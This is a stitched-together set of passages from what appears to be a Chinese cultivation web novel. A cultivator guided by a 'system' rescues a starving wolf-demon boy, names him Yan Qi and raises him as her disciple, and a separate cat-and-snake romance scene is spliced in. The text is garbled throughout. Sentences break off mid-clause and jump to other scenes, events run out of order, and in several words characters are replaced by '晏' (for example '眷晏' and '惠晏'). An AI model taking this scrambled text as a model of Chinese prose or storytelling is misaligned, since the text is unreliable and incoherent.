也就是自那以后,便没人敢在尊上的雷池里蹦跶了。 就连向尊上进献妖宠这一件事,也是他的幕僚绞尽脑汁才想出来的一计奇招。 觉得是自己心急了的虞窈默默啃完属于狼崽的那份烤鱼,决定改变策略——慢慢来。 反正和追捕狼崽的那批人相比起来,目前优势在她。 但是到了第四天、第五天,狼崽都没有如往常一样出现。 等到第五天黄昏,虞窈坐不住了。 她将周围找了个遍,还是没有发现狼崽的踪迹,于是敲敲脑海里装死的系统。 “统,狼崽呢?”虞窈对此视若无睹,不紧不慢地继续啃完手里的鱼,然后才擦净手指起身,施施然地伸了个懒腰。 伸出去的胳膊尚未收回,她突然警觉地看向某处,厉声:“呔!” “谁在那里——” 灌木丛里的存在似是被这突如其来的一嗓子给吓到了,瞬间抖落了好几片枝叶,发出了窸窸窣窣的声响。 虞窈却提剑就朝反方向而去,一眨眼就不见了踪影。 灌木丛里的窸窸窣窣霎时一顿,不知过去了多久,大抵是见虞窈迟迟未归,才终于从里走出一个脏兮兮的半大少年。 少年和小狼崽一样骨瘦如柴,穿在身上的衣裳更是破烂不堪,裂开了大大小小无数个破口——如果那寥寥几块沾满了血与泥的布料还能够被称作衣服的话。 少年裸露在空气里的皮肤上也布满了密密麻麻数不清的疤痕,一道道触目惊心,让人很难想象这个才十五岁左右的少年曾经究竟都经历过些什么。 最惹人注目的则要数裹在他腰腹位置的衣料上晕染出的那一大团模糊的暗红色,大抵是他留下血迹的伤处所在,光是远远看着,仿佛就能够嗅到浓郁又甜腻的血腥气。 然而与这些狼狈形成鲜明对比的,是少年眉下那一双过分干净清透的雾蓝色的眼睛。 像一对剔透的蓝宝石,又像平静的汪洋大海,漂亮得着实不像话。 许是饿极,又有伤在身,少年连完成走路这样简单的动作都显得很是吃力。 短短几步走得磕磕绊绊,像是下一秒就要因为体力不支而当场晕倒。 停在火堆跟前,少年先是警惕地张望了一圈周围,直到确定四下无人后,目光才最终落在火堆旁的烤鱼上。 那双眼睛依然平静,内里却流露出几分难以掩饰的渴望,明显是被烤鱼的香气吸引过来的。 可他并未拿起烤鱼就走,而是一动不动地立在原地,也不知心里在想些什么。 远处树后的虞窈默不作声地看着这一切,心理活动倒是丰富至极。 等什么等,赶紧拿着吃呀,这么香的烤鱼冷了可就不好吃啦。 是的没错,哪有什么异响,哪有什么谁谁谁,刚才那些统统都是虞窈装出来的。 虞窈十分清楚,狼是一种非常警觉的种族。二师姐门琴婳云游四海去了,虞窈没见着人。 在听到虞窈刚出关就打算下山历练的时候,柳至云其实挺不情愿的。 哪有刚收了个各方面都满意的关门徒弟,才教小几十年,徒弟就要独自闭关,两百年不见人影的。 尤其好不容易重新见着人了,结果小徒弟又要离开宗门了。 虞窈自己也觉得说不过去。 但情况紧急,她必须抢在九洲的人之前先找到小狼崽,一刻也耽误不得,实在不能够在连云宗里久留。 便在离开宗门前向柳至云保证,说等这次回来了,她绝对会安安分分地待在连云宗里,哪儿也不去,今后专为他老人家分忧解难。 这话算是哄在了柳至云心上。 柳至云本就是个极其护短的主儿,不可能真因为这种事情就生自己小徒弟的气,于是只轻哼一声。 “说说吧,什么历练非得这么急着下山不可啊?” 虞窈就故意神神秘秘地冲柳至云挤了挤眼,拿出事先想好的说辞。 “师父,我在闭关的时候做了个梦,梦到这次我打算去的地方有我未来的徒弟。” “我这是去给您带徒孙回来了呢。” 虞窈是柳至云座下最小的弟子,再加上入门没多久就开始闭关,她的师兄师姐都有了自己的徒弟,就她还是“孤家寡人”一个。 所以听到虞窈说这一趟出去是准备去收徒弟的,虽觉她仅凭一个梦就急匆匆下山很不靠谱,但柳至云终究还是没有阻拦。 相反,还让谢青扬为她准备好储物囊,叮嘱她这一趟诸事小心。 见到瘦弱又毫无灵气的晏歧之后,柳至云和谢青扬的脸上也没有露出任何诧异或是嫌弃的表情。 他们拿出提前准备好的丰厚的见面礼,笑眯眯又亲切地问晏歧叫什么名字。 在虞窈的提醒下,晏歧低着头,顺从回答道。 “晏歧见过师公、师伯。” 柳至云捋捋胡须,了然颔首:“不错,是个好名字。” 闻言,旁边的虞窈立马自豪地抬起下巴,轻哼了一声。 柳至云不明所以。 晏歧接话道:“是师尊给我起的。” 柳至云于是就懂了。 他笑看虞窈一眼,花白的胡须抖了抖:“怪不得尾巴都快翘到天上去了呢。” 按照礼节见过柳至云和谢青扬之后,虞窈就带着晏歧回到了自己的住处。 她是掌门人柳至云的徒弟,理所当然地在连云宗里拥有一座自己的独门院落,柳至云赐名为“长青谷”。 长青谷外设有结界,需要特制的玉牌才能打开,而这样的玉牌只有身为长青谷谷主的虞窈才拥有。 在虞窈闭关期间,玉牌暂时交由柳至云保管,虞窈出关后,玉牌自然而然地也就回到了她的手上。 柳至云和谢青扬提前叫来弟子帮虞窈收拾好了院落,省去了她不少麻烦。 带着小徒弟熟悉完住处,虞窈总觉得自己似乎遗忘了些什么。 紧接着就听自家徒弟低声唤道:“师尊。” “嗯?”虞窈心里面揣着事,应付得也就有点随意,“怎么了?” 话音刚落,两只做工精致的储物囊便递至她面前:“烦请师尊将这些还给师公师伯。” 虞窈垂眸扫了眼,是方才柳至云和谢青扬送给晏歧的见面礼。 这才正色:“为何?” “我不能收这么贵重的礼物。” 停顿了两息,晏歧才几近无声地补充了一句。 他不值得。 他方才偷偷看了一眼储物囊里塞得满满当当的法器宝贝,尽管他经脉尽废,没有灵气,却也认得出来,那些都并非凡品。 尤其主角狼崽整天都处在被人通缉追杀的阴影之下,对陌生人的防备心会有多强更是可想而知。 虞窈在来的路上几乎没怎么看到过别的妖兽,大抵是因为这里灵气稀薄,鲜少有动物出没。 在这样恶劣的环境下,狼崽想要填饱肚子是个严峻的问题,又加之受了伤,捕食猎物更是难上加难,如此恶性循环,想必才会导致小狼崽之前会饿得昏厥过去。 为了把剩下的那条烤鱼名正言顺地让给小狼崽吃掉,虞窈便临时想了这么一个办法出来,现场飙了波演技。 事实证明,她的演技还算不错,至少目前看来,小狼崽并没有起疑。 只是不知道在犹豫什么。 虞窈等了半天,见少年还是没有要有所行动的意思,决定推他一把。 于是故意发出声音:“我说是什么呢,搞半天原来是只野兔啊。当心我明天就把你抓来烤了吃喽。” 和虞窈所想的一样,意识到她将要回来了的小狼崽来不及继续纠结。 情急之下,索性遵从自己本心,拿起烤鱼就钻回了灌木丛里,很快便消失得无影无踪。 这就对咯。 虞窈满意地拍拍粘在衣袍上的枝叶碎屑,心满意足地离去之前,不忘顺手灭掉了尚且还燃烧着的火堆。 有句话是怎么说的来着? 身在绿海中,防火记心中。保护山林,人人有责! 系统:“”它接着装死。 虞窈眯了眯眼,拖长声调:“统——” 或许是怕虞窈又要说什么不得了的话,亦或是担心九洲的人真在虞窈之前将主角给带走了。 装死了许久的风终究还是卷起落叶,为虞窈指引了方向。 跟着落叶在山林深处东转转西转转,虞窈最终在一块石岩后面发现了狼崽。 一只浑身沾满了血污与泥泞、奄奄一息的小狼崽子。 气温逐渐回暖,狼崽腹部裂开的伤口又没能得到及时医治,以至于都开始化脓,散发出来的味道有些难闻。 虞窈猜测它这两天依旧没能捕到食物,所以情况才会急转直下,直到现在这种地步。 她幽幽地叹口气,确认狼崽已经彻底昏死了过去后,从储物囊里拿出提前备在里面的绷带灵药。 先是用清水稍微给狼崽清洗了下伤口,紧接着上药、包扎。 一套操作下来行云流水,一气呵成。 处理完伤口后,虞窈又拿出一张干净的巾帕,就着不远处的溪水,擦了擦它脏兮兮的毛发。 忙活了好半天,总算可以看出狼崽原本的毛色了。 是很漂亮的雪白色。 难以彻底擦拭干净的血色夹在其中,像极漫天雪地里盛开的零星红梅。 虞窈抬手抚上那条毛茸茸的雪白大尾巴,手指顺了顺打结的毛,又轻轻捏了捏尾端。 嗯,手感不错。 等之后有机会彻彻底底地给狼崽洗个澡,再由阳光晒得暖烘烘的,摸起来的手感肯定更好。 虞窈面不改色,又上手rua了一把。 直到脑海里的系统看不下去,发出警告,虞窈才在旁侧留下一瓶疗伤的灵药以及一串香喷喷的烤鱼,低眸瞥了一眼尚昏迷着的狼崽。 大抵是处理了伤口,又被虞窈喂过灵药,状态慢慢有所好转,狼崽逐渐变回了人形。 瘦削的少年很没安全感地蜷缩成了小小一团,饶是在昏迷状态下,眉心也不安地拧成了个结,瞧着可怜兮兮的。 如果系统不说的话,虞窈绝对猜不到,这样的狼崽竟已有十五岁了。 距离她上一次见到这么孱弱的十多岁的半大少年,还是在一个饥荒的末世世界里。 系统说,现在狼崽的境遇其实已经算好的了。 尚未逃离那片灵气稀薄的禁林的时候,经脉俱废的狼崽需要每天都拼了命地与禁林里横行的那些妖兽厮杀,才能够勉强从它们的爪下抢走一小块碎肉,苟延残喘地活下来。 狼崽身上数不清的疤痕也是在那个时候留下来的。 虞窈伸出手,发现自己很轻易地就能用食指和拇指圈住少年的手腕。 甚至还能够多出一小圈来。虞窈深得柳至云和谢青扬的喜爱,给她目前唯一的徒弟准备的见面礼,自然也是极好的。 在晏歧的心目中,能够被师尊救回来,成为她的徒弟,就已经是他此生莫大的荣幸了。 他不敢奢求更多,也自认经脉俱废的他配不上这些宝贝,不如物归原主,留给比他更合适的人。 这不是虞窈第一次听自家徒弟在她面前贬低自己。 她轻蹙了蹙眉,说:“晏歧,你是我徒弟,而他们是我师尊和师兄,你的师公师伯,他们送你见面礼是应该的。” “将来若是他们收了新的弟子,师尊我也会为他们的徒弟准备礼物。所以这些你只管安心收下便是。” 晏歧却依旧固执地举着储物囊,像是没有听到虞窈的宽慰。 虞窈在心里面默默叹了口气。 怎么办?闷葫芦徒弟还是头倔驴。 余光瞥见小徒弟紧绷的身体,抿紧的嘴唇,虞窈忽然之间想通,她到底遗忘了些什么了。 “晏歧,师尊有东西要给你。” 话虽如此,人却动也不动。 晏歧掀起眼睫,乌漆漆的双眸疑惑地望向她。 虞窈便笑着用目光示意他手里的储物囊:“先收起来,不然师尊怎么把东西给你?” 她这幅模样其实很像是在哄骗小孩,尤其她现在两手空空,哪里像是有东西要给晏歧的样子。 然而晏歧沉默了片刻,还是听话地将储物囊收了起来。 下一秒,虞窈就变戏法似的变出了一枚莹润通透的玉牌,轻轻放在了晏歧的掌心。 “这是长青谷的玉牌,有了它就可以自由出入长青谷了,刚刚为师是怎么用它的,你都看到了吧?” 原来,这样就能算作是很好的境遇了吗? 虞窈叹了口气,取出一张薄毯盖在少年身上,顺势揉了揉少年的脑袋。 “小可怜。” 也,惹得人的心也有一点痒。 晏岐唇角轻抿,就这样定定地看了片刻,忽而鬼使神差地微微倾身过去。 一个很轻的吻便落在了虞窈的头顶、银白色的长发上。 生怕会使得猫从美梦当中惊醒,晏岐的动作其实很轻,丁点动静都未曾发出。 可也就是在这个时候,身旁的人儿忽然睡眼惺忪地睁开了眼。 两息过后,那双漂亮的蓝金色异瞳逐渐恢复了清明,随即直勾勾地望向了他。 第 45 章 第四十五章 一猫一蛇相对无言地对视了两秒。 最后还是虞窈先支着身子坐了起来,摸着自己方才被亲过的地方,跟只小蚂蚱似的迅速退离了晏岐半丈远。 猫猫大王同时震怒,抬手指向晏岐:“你,大胆!怎么可以偷亲猫!” 晏岐倒是也就短暂地沉默了一会儿。 随后泰然自若地迎上了猫那双溜圆晶亮的瞳眸,在虞窈充满了指责的目光注视下,面不改色地说道。 “噢,抱歉。” “方才是我不留心恍惚了,还把你当成了原来养的那只小白猫。” 虞窈闻言一怔,嚣张的气焰转瞬灭了两分。 唔。晏歧陡然回神。 虞窈一眼便看出徒弟眸中未散的迷茫,很是耐心地问:“怎么了?” 晏歧望着一大一小两只猫妖消失的方向,半晌,才低声回答道。 “我以为,师尊想收那只猫为徒。” 晏岐要这么说的话,倒是让猫想起了她先前经常在巫云峰附近溜溜达达的时候,那些凡人的确会看她可爱,偷偷摸摸地想要亲一亲她的脑门或是脚脚。 虞窈心情极好的时候,偶尔会看在对方是个香香软软的小姑娘的份上,允许对方以这样的方式亲近一下猫猫大王。 晏歧应了声“好”,刚烤好的鱼却还是送到了虞窈手上。 师尊曾跟他说,大口吃东西会让人感觉很有食欲。 但他看着师尊慢吞吞地吃着他烤的鱼,莫名也能感到一种异样的满足感。 在虞窈看不到的角度,黑发少年几不可察地提了提唇角。第二天一大清早,虞窈就去练剑坊给晏歧请了假。 今天负责教弟子们练剑的长老正好是谢青扬。 听虞窈说晏歧身体不适,需要休息两天,他这个当师叔的不免也有几分担心。 便主动问道:“要不要请医修来给晏师侄看看?” 以徒弟目前的情况,叫医修来看那还得了。 虞窈连忙婉拒了谢青扬的提议,撒起谎来脸不红心不跳的。 “不用不用,他就是最近练功练得太刻苦了,几乎没怎么好好休息过,歇一歇应该就没什么大碍了。” 晏歧平日里有多勤勉,谢青扬这个既做师叔、又做师长的都看在眼里,自然没有起任何疑心,很干脆地便允了晏歧的假。 只是不忘又唠叨虞窈一番,要她这个当师尊的好生看着点徒弟,多多提醒徒弟注意休息。 虞窈连声应好,顺路又去了趟孟城,成功在黑市上买到了能够抑制妖气的药。 这种灵药价值不菲,寥寥几颗就用掉了虞窈辛辛苦苦攒下来的不少灵石。日子一天天平稳过去,除了徒弟成功从炼气一跃升为了筑基以外,一切似乎都和之前没有任何变化。 直到某天夜里,孟城突然毫无征兆地下了一场瓢泼大雨。 这还是自今年入夏以来,孟城第一次下这么大的雨。 颗颗雨滴噼里啪啦地砸在砖瓦上面,声音之密之响,似珠落玉盘,不知道的恐怕还要以为大夏天的这是在下冰雹。 坐落在孟城之上的连云宗自然也无法幸免。她担心第二天睡醒起来,这些花草就算没被这样的倾盆大雨给淹死,大概率也会被这么密的雨给打残了。 做完这一切,虞窈隔着窗户以及模糊不清的雨幕,与徒弟互道了晚安。 虞窈其实是很喜欢不怎么闷热的下雨天的。 只因这样的天气一般都很凉爽,很适合她这样的咸鱼缩在柔软的被子里美美睡大觉。 倘若还能有风扇亦或是空调在旁呼呼吹着的话,更是夏日不可多得的美事一桩。 但今夜的雨势着实格外大了些。 虞窈被噼里啪啦的雨声吵得怎么睡都睡不着,在床上翻来覆去好一阵,最终竟直接一骨碌坐了起来,对着老天爷无能狂怒。 要命。 好端端的下这么大的雨干嘛,到底还让不让人安生睡觉! 她正琢磨着究竟怎样才能将雨声的“噪音”降到最小,然而就在这时,窗外忽地有一道刺眼的白光闪过,紧随其后的,是一道震耳欲聋的惊雷径直劈下。 雷声之大之响,仿佛连地表和整个屋子都跟着一同震颤了起来。 坐在床上的清丽人影顿时犹如被施了定身术一般,肉眼可见地僵了又僵。 虞窈赶在雨势渐大之前,和自家徒弟一起将养在院落花盆里的花花草草全都搬到了屋檐下面。 满满一口袋的灵石给出去的时候,虞窈肉痛不已,但一想到这是给自家徒弟用的,瞬间就又没有那么心疼了。 好在黑市上的东西基本都是一分钱一分货,服用了丹药后,晏歧的妖气果真很快就散得无影无踪。 雪白又毛茸茸的耳朵和尾巴也缩了回去,一双墨眸干净清澈,看起来和平时没有什么区别。 尽管如此,虞窈仍不放心。 又接着观察了徒弟两天,直到确定徒弟的妖气真的完全察觉不到了,才肯放徒弟去练剑坊上课。 露出了一个很少见的微笑。声音听起来甚至还有点闷。虞窈向来说到做到。 回到连云宗的第二天早上,她就带晏歧下了趟山。 “咦?”这是虞窈始料未及的答案,“你怎么会这么想?”一夜无梦,直到天明。 晏歧反问:“难道不是么?”一双黯淡的墨眸紧接着也亮了起来,里头盛着诸多情绪,意外,难以置信,还有许多读不懂的其它。 “有我,师尊就不收别的徒弟了么?”她抬起手,隔着柔软的薄被,一边轻柔又有规律地拍打着徒弟的肩膀,一边轻声哼唱起儿时长辈哄她入睡时曾唱过的歌谣。 “睡吧,睡吧,我亲爱的宝贝” 晏歧不明白“亲爱的宝贝”是什么意思,毕竟在他过往的那些岁月里,从来没有人这样称呼过他。 更别说会有人给他唱催眠曲了。 以至于晏歧并没有听出来,旋律如此简单的一首摇篮曲,虞窈竟愣是一个字都没唱在调上。 但这并不妨碍晏歧觉得师尊唱得很好听。 昏暗却又温暖避风的屋舍里,他闭上眼睛,小心翼翼地抓着师尊的一小截衣袖不放,渐渐松开了紧拧着的眉心。 枕着柔软舒适的枕头,伴着师尊“温柔好听”的歌声,晏歧睡了十几年来的第一个好觉。 虞窈的语气理所当然:“那不然呢?” 她又不是整天吃饱了撑的没事干,收那么多徒弟在身边干什么。 少年于是温吞地眨了眨眼:“噢。” 他垂下头,不再说话了。 虞窈的余光却不经意间瞥见了小徒弟微微勾起的唇角。 很像小狗高兴了,便欢欢喜喜地冲着主人摇尾巴。 可当她定睛去看时,一切却都恢复了原样,仿佛刚才的那一幕只是她的错觉。 虞窈觉得奇奇怪怪。 但自家小徒弟依旧很乖,寸步不离地跟在她身边。 便只当大抵是她真的看错了罢。 不然之前为什么要把它带在身边,还给它抓鱼吃。 虞窈不是很懂自家徒弟的脑回路,果然,叛逆期少年的思维都莫名其妙。 “我不是已经有你了么,还收别的徒弟干嘛?”这是晏歧目前想到的唯一能够用来暂时转移师尊注意力的方法。 毕竟眼下他什么都没有,只能放出自己的耳朵与尾巴。 按理说,狼的毛发其实是不能够用“柔软”二字来形容的。 但虞窈抚着徒弟送到手边的尾巴,却觉得这条又大又白的狼尾简直比天上的云还要柔软。 摸起来很舒服,手感更是让人爱不释手。 她忍不住上手捏了捏,似乎还摸到了其下被层层绒毛包裹着的尾根。 这手感有些奇特,虞窈正想要仔细感受一番,徒弟清沉的嗓音却在此时幽幽飘来:“师尊。” 虞窈莫名从这短短的两个字里听出了一丝幽怨的意味,连忙充满歉意地松开手。 “抱歉,师尊捏痛你了?” 那条蓬松的长尾在空中轻甩了甩,抖落几根雪白的绒毛,很快又勾了个旋,施施然重新回到了虞窈手上。 “没有。”晏歧垂下眼帘,浓密的长睫半遮掩住了那双逐渐变得幽蓝的瞳眸。 少年伏在床榻边,视线却落往别处:“师尊摸吧。” 虞窈这次碰得更加小心,一边摸,一边格外留心观察徒弟的表情。 见徒弟的神色并无异样,才逐渐放开了胆,只是不再碰徒弟的尾根。 说不清是徒弟无心还是有意,总之,那蓬松的尾巴尖偶尔会在不经意间扫过虞窈的下巴,惹得她频频想要发笑。 但当虞窈伸手握住那条“作乱”的尾巴后,尾巴就会像它的主人一样安静下来,乖顺地待在虞窈手里。 很像上了开关的发条。 忽然,她听见徒弟轻声问道:“师尊,我可以变回狼么?” 人形总归是不太方便的。 “你想变就变呀。”真当自己是小狗么,什么都要问师尊的话。 虞窈话音刚落,屋子里的黑发少年便消失不见,取而代之的是一头通体雪白、足足有五尺高的雪狼。 威风凛凛,气势魄人,简直就和虞窈当初在那座山峦里见到的那只小狼崽判若两狼。 倘若不是虞窈亲眼所见,她肯定不会将面前的这头雪狼与当时那只可怜兮兮的小狼崽联系到一起。 虞窈顺势抬头,径直迎上徒弟妖化后的眼睛。 先前她还觉得徒弟的眼睛在这样昏暗的环境下,很像蓝色萤火虫在闪荧光,然而现在,那双雾蓝色的瞳眸便像极了汪洋上的海浪。 虞窈表面上风轻云淡,实则在心里暗想。 得亏徒弟平时不变回妖形在床上睡觉,否则这床迟早有一天会被体型逐渐变得离谱的徒弟给压塌。 正走神想东想西间,虞窈忽然感觉到有一个湿漉漉的东西拱了拱自己掌心。 低眼,那头雪狼正一移不移地盯着她,尾巴再度顺从地送到了虞窈怀里。 变回狼形后,徒弟的尾巴比起先前来还要大上不少,几乎都可以搂在怀里当抱枕了。 事实证明,徒弟似乎也是这样想的。 毛绒绒的蓬松大尾巴尽数塞进了师尊怀里,任由师尊整条抱住。 虞窈摸着摸着,竟真的忽略了窗外的电闪雷鸣,呼吸就这样逐渐均匀下来,合眼睡着了。 闻言,晏歧先是一怔,像是在怀疑自己的耳朵。 尽管这个笑容只维持了不到短短三秒。 晏歧忽然之间觉得,长青谷的确如师尊所言,是个很好很好的地方。 他喜欢这里。 因为有师尊在旁,所以即使一整天的时间都用来钓鱼烤鱼,也一点都不会觉得无聊。 猫给了蛇机会的。 她伸手拽上晏岐的衣襟,示意他低头,然后便学着话本子里画的那样,唇对唇地贴了上去。 一触即离。 可除了觉着晏岐的嘴唇很凉以外,便再没有别的感觉了。 虞窈很疑惑地轻蹙了下眉。 怎么回事,是猫亲的方式不对吗? 她盯着晏岐微抿着的唇角,有些懵懂又不解地眨了眨眼。 片刻后,又像只小猫似的重新凑了上去,很轻地舔了一下。 第 46 章 第四十六章 还是没有。 虞窈慢慢退离了晏岐的嘴唇,严重怀疑她和小蝴蝶都被这话本子给唬了。 什么双腿发软,什么大脑过电,什么酥酥麻麻,净是瞎扯好吧! 可是,话本子上画的明明就那么生动形象。 猫轻拧着眉,偏头要去翻那话本子,想要看看是不是有别的哪里出了问题。 然而脑袋才微微轻侧过去,就被冰凉的手指捏住了下巴,重新给转了回去。 虞窈有些茫然地抬起头来。有了先前的沟通,不需要虞窈发号施令,晏歧也会在有鱼上钩的时候,主动收杆了。 或许是有主角光环的眷晏在,再加上虞窈抽卡必保底、刮刮乐永远都是“谢谢惠晏”的非酋属性,一整天的时间过去,晏歧桶里的鱼细数下来,竟比虞窈的还要多。 诸如“哇,我们晏歧好聪明,一点就通”“连师尊都从来没有钓起来过这么多鱼诶”“我们晏歧可真厉害,不愧是为师我的徒弟”之类的话,虞窈变着花样说了不下十几遍。 晏歧起初还会抿着唇,悄悄地在一边红耳朵。 听多了之后,倒不会觉得师尊是在糊弄自己,只是会抬头看着师尊,乌漆漆的眸子里盛满无奈。 “师尊,可以了。”自那天过后,晏歧对于炼化穹清丸一事变得更加积极,每天吃得也比以往多了许多。 如此平平淡淡地过了两月。对于晏歧来说,这的确是个很不错的历练机会。 他在连云宗里待了有些时日了,每日除了练剑和睡觉以外,剩下的时间几乎都和虞窈待在一起,很难不会对虞窈产生依赖。 这个护送任务听起来也没什么难度,谢青扬说的那片无主之地虞窈是知道的。 自家徒弟虽然还没有突破筑基,但剑术在同门师兄弟里已经完全能够排得上号了,再加上有其他弟子一同前往,应当不会有什么意外发生。 几个月的时间相处下来,徒弟也将自身的妖气隐藏得很好,就连她这个日夜相处的师尊都没有发现任何异样。 有时连虞窈自己都会忘记,噢,自家小徒弟原来还是只妖。 这趟下山估计要花上半个月左右的时间才能回来,没有自己陪在身边,徒弟说不定真的能交到一两个要好的朋友呢? 思及此,待到日落黄昏,虞窈叫住练剑归来的徒弟,简单跟他讲了一下这个事情,顺便趁此好征求徒弟的意见。 出乎虞窈意料的是,晏歧刚听她说完,便毫不犹豫地答应了下来。 搞得虞窈以为是自己的耳朵出了问题:“晏歧当真要去?” 晏歧歪了歪头,反问:“师尊不是说,这是个很好的历练机会吗?” 既然如此,为什么不呢。 虞窈:“噢。” 她习惯了徒弟天天跟在自己身边,徒弟突然这么干脆地就答应了下山历练,反倒弄得像是有分离焦虑症的人是她一样。 虞窈幽幽叹了口气。 她后知后觉地发现,自从收了徒弟之后,自己似乎就越来越喜欢叹气了。 跟个整天都在杞人忧天的小老头似的。 在虞窈坚持不懈的投喂以及精心照晏下,晏歧腹部的伤逐渐痊愈,体内也终于能够积蓄起灵气,可以慢慢开始修炼了。 虞窈信守承诺,特意给自家徒弟买了一把上好的木剑,送他去练剑坊跟其他弟子一起学习剑法。 也正因此,虞窈终于可以发挥出一点点身为师尊应有的作用了。 她偶尔会让徒弟在自己面前舞剑,然后犀利指出徒弟存在的不足。 有时甚至还会单独给徒弟开小灶,教他一些在练剑坊里暂时学不到的剑法。 徒弟很聪明,一点就会,但虞窈很快就发现了一个比较严重的问题。 每每这个时候,虞窈都会满眼狐疑地伸出手来,轻轻捏一捏自家徒弟的脸。 “晏歧,你是不是觉得师尊是在敷衍你啊?师尊说的每句话可都是真心实意的好不好。” 既然师尊都这样说了,晏歧于是也就不再说话了。 钓完收工后,晏歧主动抱来柴堆生了火,开始为师尊烤鱼。 长青谷夜里的温度比白天低了不少,偶尔有夜风拂面,倒也不会觉着冷,反而让人感到很舒适。 可能是灵溪里的鱼的确要比那座山峦里的肥美一些,又或许是因为回了连云宗,各方面的条件都得到了一定改善. 等会儿,看10934号这个架势,她该不会是想用剑去插鱼吧? 事实证明,虞窈的打算的确和系统猜想得分毫不差。 短短几息时间,虞窈干净利落地剑起剑落,手里那把令不少剑修眼红的上品灵剑的剑尖上就“长”出了鱼来。 两条。晏歧腹部的伤尚未完全痊愈,他身上断尽的经脉也是个棘手的大麻烦。 虞窈没打算找医修来看,毕竟晏歧身份特殊,万一被医修察觉出了异样,那一切就都完蛋了。 好在她也不着急让晏歧修炼,反正她的任务是攻略感化自家小徒弟,而非要让小徒弟得道升仙。 再加上连云宗是个很安全的藏身之所,九洲的人想破脑袋也不可能猜得到晏歧会被她藏在这里。 她有的是时间慢慢养自己的小花苞,静待花开的那天。 安抚好自家徒弟、催着人歇下后,虞窈转头去了趟大师兄谢青扬所在的长月谷。 像是早就知道虞窈会来找自己似的,谢青扬早早在院落的石桌上摆好了茶水糕点。 风光霁月的剑修端着茶杯,一个人坐在院中悠悠品茶。 谢青扬为人稳重、五官出众不说,身形也格外高挑,一袭白衣逶迤,光是坐在那里,浑身就满溢着一股清风道骨的翩翩仙气。 虞窈兀自感叹,不愧是柳至云的亲传大弟子、将来连云宗的接班人。 范儿可真足。 “师兄。”她降下雪剑,十分自觉地坐到了谢青扬对面,捻起一块芙蓉糕便不客气地送入了口中。 倘若有惜剑的剑修看到这一幕,肯定会跳出来狠狠指责虞窈,怪她怎么能把这么好的剑用在这种地方! 可惜虞窈哪会意识到这一点。 她丝毫不觉得自己大材小用,反而还哼着小曲将插着鱼的剑搁至一边,顺手收集了一些树枝木棍以及干草回来,熟练地开始生火、重新串鱼、烤鱼。 没过多久,肥美的鱼肉便在烈火的炙烤下滋滋冒油,循循飘香。 系统看着虞窈捧着其中一条烤鱼啃得津津有味,心说喔,它差点忘了。 虞窈虽然很容易让人生出一种她这人不太靠谱的感觉,但好歹也是穿梭在各大末世、战争世界里,已经出色地完成了九十九个任务的管理局精英。 类似于捕鱼生火这种小事对她来说,自然是小菜一碟。少年悠悠转醒的时候,夜幕已悄然降临。 天边的火烧云伴着落日渐渐隐去,繁星爬上枝头。即使她同他说,将来他是要保护她的。 这么厉害的小神仙,起的名字想必也是极好的。这个微不足道的小插曲很快过去,虞窈发现,自家徒弟的不对劲好像也跟着消失了。 甚至她都说不上来,小徒弟的心情究竟是从何时开始变好的。 不过一想到徒弟如今十五岁左右的年纪,她便自然而然地把这当做了小孩儿叛逆期的表现。 坏情绪来得快,去得也快,还莫名其妙。 虞窈便没太将这当回事,带着徒弟和小猫妖一起继续赶路。 路途依旧顺利,只是在快要抵达禁制范围的边缘时,一只橘毛棕瞳、足足有半米高的猫妖忽然找上了门来。 在这座山峦里待久了,晏歧下意识地以为这只猫妖和那只已经殒命的熊妖一样,是仗着自身有点修为,故意来找茬的。 他想让师尊小心,提醒的话尚未来得及出口,就听师尊欣喜地“咪咪”唤了两声,神色奕奕地招来身后那只小猫。 “快来快来,你娘找到你啦。” 晏歧微怔,直到看见师尊捡到的那只小猫妖跌跌撞撞地扑向了那只大猫,很是亲昵地不停用脑袋蹭它,才后知后觉地发现,这两只猫妖的毛色与瞳色都极为相像。 噢,大猫是来接走丢的小猫回家的。 作为救了小猫妖的谢礼,大猫十分慷慨地决定送给虞窈两只老鼠。 虞窈好说歹说劝了半天,半开灵智的大猫才大致听懂了,虞窈和晏歧都不爱吃这格外“美味”的食物。 于是它听从虞窈的意思,送了她一小撮自己的猫毛。 尽管它不明白,虞窈要它的毛做什么。 和橘猫母女告别后,虞窈将猫毛收进储物囊里,琢磨着这些毛应该够她做一只毛毡猫了。 余光瞥见小徒弟还傻站在原地,虞窈微一挑眉,纤长五指在他眼前晃了又晃。 “晏歧?在想什么。” 少年于是点点头,坦然地接受了虞窈给自己起的新名字。 两人相对无话,继续吃鱼,沉寂已久的系统电流声却在此时滋滋响了起来。 它有点好奇:“10934号,你怎么会想到给主角起这个名字?” “怎么,不好听吗?”虞窈自己还挺满意的。就和那只猫妖一样。 这其实非常合理,毕竟没有师尊,他就什么都不是。 师尊愿意大发慈悲救他一命,他就理应对师尊感恩戴德了。 可是很奇怪的,这个认知莫名让晏歧感到很不舒坦。 甚至光是看着那只猫妖如此心安理得地吃着师尊烤给它的鱼,他便觉得小猫妖不顺眼极了。 师尊看他可怜,将他收为了徒弟。 可她看小猫也可怜。 “那倒没有,只是不太像是你会起的名字。”系统说。 他以为虞窈会给主角起诸如“张三”、“王五”之类的名字。 再稍微靠谱一点,最多也就是类似于“刘大军”“赵小强”等等之类的了。 虞窈:“我只是刚好瞥到了那座山上的云雾。晏歧晏歧,不就是‘山间的云雾’的意思吗?” 系统:“” “那‘晏’这个姓呢?” 也是这么随意起的吗?! “小说男主最常见的姓氏来来回回不就那么几个吗,我就随便挑了个我觉得最顺口的。” 说到这里,虞窈得意地弯弯眼睛,“怎么样,这名字起得还不错吧?” 系统:“。” 行吧。 你是他师尊,你开心就好。 撑着地打算坐起来的时候,意识到有哪里不太对劲的少年整个人都很明显地愣了一下。 低头,在看见盖在身上的薄毯之后,更是犹如见鬼了一般,几乎就要原地弹跳而起。 只不过他身上犹带着伤,即使虞窈给他上过药、仔细包扎过,也不可能在短短这么点时间里就完全痊愈。 弹跳这个动作对他来说到底还是稍微高难度了些,以至于少年最后也只是将薄毯猛地掀至一边,紧皱的眉头以及下意识呲开的獠牙,令此时的少年看起来像极一只应激了的小兽。 直到看到手边的烤鱼以及眼熟的玉瓶后,少年一滞,眼里满满的警惕与戒备才逐渐化为了困惑与不解。 他眉心微松,怔怔盯着那只玉瓶看了许久,才小心翼翼地凑了过去,试探性地用鼻子在瓶口嗅了又嗅。 很快意识到了,他身上似乎也散发着和这玉瓶相差无几的气味。 少年又垂头看了看被白色绷带包扎过的伤口,他能够明显地感觉到,绷带下的伤正在一点点地进行自我愈合。 